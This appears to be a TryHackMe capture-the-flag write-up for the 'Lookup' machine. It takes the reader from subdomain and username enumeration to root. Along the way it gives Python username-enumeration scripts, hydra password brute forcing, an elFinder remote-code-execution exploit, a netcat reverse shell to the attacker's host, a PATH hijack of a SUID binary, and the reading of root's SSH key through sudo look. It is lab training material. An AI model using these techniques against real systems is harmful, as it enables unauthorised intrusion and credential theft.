TryHackMe | Lookup CTF Challenge
🧰 Writeup Overview
is a Linux-based machine
that focuses on:
- Subdomain enumeration to uncover a hidden elFinder file manager
- Remote Code Execution (RCE) via a vulnerable PHP connector in elFinder
- Privilege escalation through a misconfigured
SUID binary
and abused PATH variable - SSH brute-force using harvested credentials
- Root access using a
leaked private key
extracted with the look GTFOBin
The box challenges your skills in enumeration
, web exploitation
, password attacks
, and local privilege escalation
, and is ideal for learning real-world exploitation techniques.
🧾 Recon(Lookup)
Edit /etc/hosts
Add:
1
| 10.10.158.59 lookup.thm
|
Open Ports Found
RustScan (Initial Fast Port Scan)
1
| rustscan -a lookup.thm -p 22,80,8000,8089,8191,33399,50000 -- -sCV -T4 -oN lookup.nmap
|
1
2
3
4
5
6
7
8
9
10
| .----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
22 (OpenSSH 8.2p1 Ubuntu)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login Page
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|
Web Enumeration
Directory Bruteforce
1
| feroxbuster -u http://lookup.thm/ -w /usr/share/wordlists/dirb/big.txt -t 100 --filter-status 403,404 -x php
|
1
2
3
4
| 200 GET 1l 0w 1c http://lookup.thm/login.php
200 GET 50l 84w 687c http://lookup.thm/styles.css
200 GET 26l 50w 719c http://lookup.thm/
200 GET 26l 50w 719c http://lookup.thm/index.php
|
Virtual Host(Subdomains) Enumeration
1
2
| ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://targeted-ip -H "Host: FUZZ.lookup.thm" -fs 0
|
We can use -fc == filter code OR -fs == filter size
1
2
| ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://targeted-ip -H "Host: FUZZ.lookup.thm" -fc 302
|
OR
1
| gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
|
Unfortunately, it didn’t appear due to lack of connection so that need Credential.
User Enumeration
Extract users based on server response
option |
1
2
3
4
5
| ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST \
-d "username=FUZZ&password=wrongpass" \
-u http://lookup.thm/login.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-mr "Wrong password. Please try again"
|
result admin
,jose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://lookup.thm/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/Names/names.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=wrongpass
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Wrong password. Please try again
________________________________________________
admin [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]
jose [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 192ms]
|
option ||
with code python to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| import requests
from concurrent.futures import ThreadPoolExecutor
import threading
URL = "http://lookup.thm/login.php"
WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
THREADS = 100
MATCH_TEXT = "Wrong password" # <-- Change this if your app says "Invalid password" or similar
lock = threading.Lock()
def check_username(username):
username = username.strip()
if not username:
return
data = {
"username": username,
"password": "wrongpass"
}
try:
response = requests.post(URL, data=data, timeout=5)
if MATCH_TEXT in response.text:
with lock:
print(username)
except requests.RequestException:
pass # optionally print error
def main():
with open(WORDLIST, "r") as file:
usernames = [line.strip() for line in file if line.strip()]
with ThreadPoolExecutor(max_workers=THREADS) as executor:
executor.map(check_username, usernames)
if __name__ == "__main__":
main()
|
1
| time python3 Username_Enumeration
|
that took approximately 149.21
seconds to complete.
1
2
3
4
5
6
7
| admin
jose
real 49.21s
user 22.57s
sys 12.81s
cpu 71%
|
option |||
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| import aiohttp
import asyncio
TARGET = 'http://lookup.thm/login.php'
WORDLIST = "/usr/share/wordlists/seclists/Usernames/Names/names.txt"
valid_usernames = []
async def check_username(session, username):
"""Check if a username is valid by sending a POST request."""
form_data = {'username': username.strip(), 'password': 'test'}
try:
async with session.post(TARGET, data=form_data) as response:
response_text = await response.text()
if 'Wrong username' not in response_text:
valid_usernames.append(username.strip())
print(f"[+] Found valid username: {username.strip()}")
except Exception as e:
print(f"[!] Error checking {username.strip()}: {e}")
async def main():
"""Read usernames from wordlist and check them asynchronously."""
async with aiohttp.ClientSession() as session:
try:
with open(WORDLIST, 'r') as file:
usernames = file.readlines()
tasks = [check_username(session, uname) for uname in usernames]
await asyncio.gather(*tasks)
except FileNotFoundError:
print(f"[!] Wordlist not found at: {WORDLIST}")
return
print("\n[+] Valid usernames found:", valid_usernames)
if __name__ == "__main__":
asyncio.run(main())
|
1
| time python3 Username_Enumeration.py
|
1
2
3
4
5
6
7
8
9
10
| [+] Found valid username: admin
[+] Found valid username: jose
[+] Valid usernames found: ['admin', 'jose']
real 23.57s
user 4.72s
sys 0.94s
cpu 24%
|
Credential Brute Force
1
| hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password. Please try again" -V
|
jose is vaild Credential to log in http:/lookup.thm
1
| [80][http-post-form] host: lookup.thm login: jose password: **********
|
If I add flags or other arguments after the methode (http-form-port), hydra didn’t do anything. To work, I had to let the command line end with the method used.
💀 Exploiting elFinder
Visit http://files.lookup.thm
— elFinder web interface is visible.
Add it to /etc/hosts
:
1
| 10.10.158.59 lookup.thm files.lookup.thm
|
Search for Exploits
Metasploit Exploit
Web Login Required Before Exploiting, You must log in as user jose
at http://lookup.thm/
to access the files.lookup.thm
file manager over Uploading payload.
1
2
3
4
5
6
| msfconsole -q
search elFinder
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set LHOST tun0
run
|
Get shell access:
1
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
Finally, After gaining access through an elFinder RCE exploit, we obtain a limited shella foothold
as a www-data
user.
🏴☠️ User flag
Stabilize Shell & Move Laterally
Setup Listener on Your Local Machine
Then from target Machine(Shell Metasploit):
1
| busybox nc <your_tun0> 3333 -e bash
|
1
2
3
| python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-256color
cd /home/think
|
Privilege Escalation Prep
Privilege Escalation Attempt (SUID Binaries):
1
| find / -perm /4000 2>/dev/null
|
Found executable file /usr/sbin/pwm
Output:
1
2
3
4
| /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
|
✅ Key Observations from strings /usr/sbin/pwm Let’s extract the important parts:
1
2
3
4
5
6
7
| [!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[-] Error reading username from id command
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found
|
It runs the id
command with:
It uses a scanf
-like pattern:
1
| strace -e trace=process /usr/sbin/pwm
|
What strace
Reveals:
1
2
3
4
| [!] Running 'id' command to extract the username and user ID (UID)
clone(...) = 3568
...
[!] ID: www-data
|
What does this mean? The binary spawns a child process using clone()
→ that’s how it runs the id
command.
The output is parsed, and it detects the current user is www-data
.
Then it looks for /home/www-data/.passwords
but doesn’t find it.
🔐 Key Insight Since the binary uses clone()
(which implies it uses popen()
internally), and calls id
without full path, you can trick it by making a fake id binary
earlier in your PATH
.
🔎 Explanation:
- It runs the
id
command to determine which user is executing the program. - You are currently user
www-data
, so it tries to read /home/www-data/.passwords
, But that file doesn’t exist → hence the error. - We need a trick in executable file
/usr/sbin/pwm
to make UID think
the owner of the file /home/www-data/.passwords
instead of UID www-data
via Spoof binary id command
, then we can read it.
Spoof binary
using PATH
hijack:
- Make a fake id binary
1
2
3
4
| cd /tmp
echo '#!/bin/bash' > /tmp/id
echo "echo 'uid=33(think) gid=33(think) groups=33(think)'" >> /tmp/id
chmod +x id
|
- Hijack the PATH
- Run the binary
now we can read it & Extracting Password Wordlist:
1
| /usr/sbin/pwm > passwords
|
Brute-force SSH using harvested passwords
1
| python3 -m http.server 8080
|
1
2
3
4
| # From attacker:
wget http://lookup.thm:8080/passwords
hydra -l think -P passwords -f lookup.thm ssh
|
1
2
| think@ip-10-10-99-50:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)
|
You now have user flag:
🏴☠️ Root flag
Privilege Escalation
Output:
you can check here
GTFOBins | look
1
| sudo /usr/bin/look '' "/root/.ssh/id_rsa"
|
Root Access via SSH Key
Save key to file:
1
2
3
| gedit id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm
|
A key in PEM format like this one, has to have an empty line at the end.
1
2
| root@ip-10-10-99-50:~# id
uid=0(root) gid=0(root) groups=0(root)
|
Capture the Flag